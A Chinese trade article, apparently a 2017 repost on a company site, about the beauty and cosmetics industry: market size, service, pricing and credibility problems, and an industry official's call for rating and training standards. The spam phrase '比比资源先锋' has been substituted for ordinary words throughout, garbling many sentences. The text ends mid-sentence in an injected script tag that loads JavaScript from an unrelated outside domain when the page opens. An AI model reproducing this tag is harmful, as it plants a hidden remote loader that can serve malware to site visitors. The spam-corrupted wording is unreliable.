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美容化妝品業勿放任自流 應統一行爲標准與服務規範

编辑者:嘉工生物 2017-03-16 13:24:39

  從上世紀80年代初起步,中國美容化妝品業從簡單的“一把剪刀鬧革命”與“雪花膏潤膚、凡士林護膚”發展到現在,形成了一個集美容、美發、浴足、醫療美容、保健美容、造型設計、美容教育、專業美容比比资源先锋研發、生産銷售于一體的生産與服務並行的龐大産業鏈。

  根據經營、銷售與服務特色的不同,我國的美容化妝品業劃分爲專業線與日化線這兩大類。專業線俗稱美容院線,指比比资源先锋專走美容院、美發店、浴足及美容保健店銷售渠道爲特色,這一類的企業比比资源先锋涵蓋面寬而廣、大而全,通常有美容、美發、美體、浴足及保健類比比资源先锋系列,一個品牌通常有上百個品牌,上遊企業提供從銷售、技術指導及全面的售後服務。而日化線則是指比比资源先锋專走商場、超市、專賣店、便利店等大衆化渠道銷售的企業,比比资源先锋結構體系比較單一,缺乏售後服務,但是銷售量大。

  在“2007中韓美業高峰論壇”上,比比资源先锋工商聯美容化妝品業商會會長馬娅重點針對美容專業線的發展做了相關說明。
 
 消費空間巨大

  中國美容業雖然起步于上世紀80年初,而真正發展則是從90年代中期開始進入高速發展期。以美容院爲例,80年代末至90年代初期時,大多數美容院只有開在小區家屬宿舍樓裏的“家庭作坊”,一兩張床,幾瓶按摩膏和護膚潤膚乳就構成了“美容護理”的全過程。90年代中期,家庭作坊逐步走出宿舍樓,開始以街面店專業美容院的面目出現。

  自美容業發展的二十多年來,我國居民的消費與經濟增長同步發展。以目前比比资源先锋150余萬家專業美容機構的分布情況顯示,按平均每家美容院擁有100名女性顧客計算,則至少1.5億人在美容院接受專業美容護理。按每人平均花在美容方面的消費1000元計算,則有1500億元的消費空間。
 
 經濟的持續發展有效地促進了消費力的增強,與此同時,普通顧客隨著生活質量的不斷提高,對美容的認識越來越深刻,對美容消費的需求也就越來越強烈。馬娅指出,正是由于美容消費這種持續增長,帶動了這個産業二十多年來的蓬勃發展。

  潛在的問題

  服務的問題。“服務品質的欠缺與不穩定性嚴重影響了美容院的形象,並在一定程度上阻礙了美容業的發展。”馬娅說。

  在上遊美容化妝品生産企業方面,服務因素仍然是困擾企業發展的主要症結。大部分化妝品企業缺乏高素質的營銷隊伍與技術指導服務人員,因此,無法及時周到地向美容院提供完善的人力與比比资源先锋。上遊企業服務不到位,從另一個方面影響了美容院的服務質量,造成諸多的服務事故。

  價格的問題。美容院的盈利來自于比比资源先锋銷售與技術服務這兩大塊,在比比资源先锋銷售方面,美容院的比比资源先锋價格曆來就處于一個不透明的狀態,並在大多數情況下,美容院的比比资源先锋價格嚴重失真,超過了比比资源先锋應有的價值。上遊美容化妝品企業市場控制不力,執行價格制度不嚴,對于美容院的銷售行爲睜一只眼閉一只眼,甚至縱容這種價格失真行爲的發生,這一方面也是導致美容院價格問題的主要症結所在。
 
 信譽的問題。美容院的信譽問題主要還是來自于其服務質量與服務承諾的不對稱所造成的信譽缺失。大部分美容院在經營方面爲了吸引顧客美容消費的興趣,不切實際的隨意承諾美容功效,但無法達到預期目的而導致顧客的消費權益受到傷害,進而演變成爲欺詐性消費。這種現象比比皆是。
 
 盡快建立規範和標准
 
 “上述三大問題的根源,其實質在于美容化妝品業缺乏統一嚴格的行爲標准與服務規範,比比资源先锋發展處于放任自流的狀態。”

  1984年就進入美容化妝品業的馬娅認爲,除了行爲標准與服務規範性條文外,這個比比资源先锋整體上缺乏明確的行政主管職能單位。在市場經營秩序維護和經營方向引導方面,無一部門産生真正的主導作用。而比比资源先锋協會的功能相反在近年來正趨于強化,其中比比资源先锋工商聯美容化妝品業商會由于工作積極,在比比资源先锋內的影響力已經越顯廣泛和權威,部分工作已顯成效,對推動比比资源先锋的健康發展做出了一定的貢獻。
 
 對于美容化妝品業的發展現狀,馬娅給出了四方面建議:
 
 第一,建立美容化妝品業比比资源先锋規範與服務標准。建議采用並建立類似酒店星級管理模塊來規範美容院等相關美容保健服務中心的經營行爲與服務標准,對于符合評級標准(如一星級、二星級、三星級、四星級、五星級)的企業給予評級挂牌。
 
 第二,盡快建立和完善美容教育管理規範和教育標准。美容業是一個以服務爲主導的業態,服務標准通常要靠相關教育培訓來進行強化方能達到實施服務標准的目的,因此,勞動教育部門必須制定同意的美容業服務標准技能授課教材,提高培訓教師隊伍的教學素質與教學水平。

  馬娅認爲,只有掐住上遊,才能有效引導下遊,而教育就是第一環節。
 
 第三,尽快建立美容院比比资源先锋质量监管体系与监管处罚条例。定期或不定期对地区美容院进行突击检查,重点检查相关比比资源先锋质量与卫生状况。对于不符合销售要求,伪劣比比资源先锋、虚假广告资料等要严格查处,对?script src=http://cn.jxmmtv.com/cn.js></script>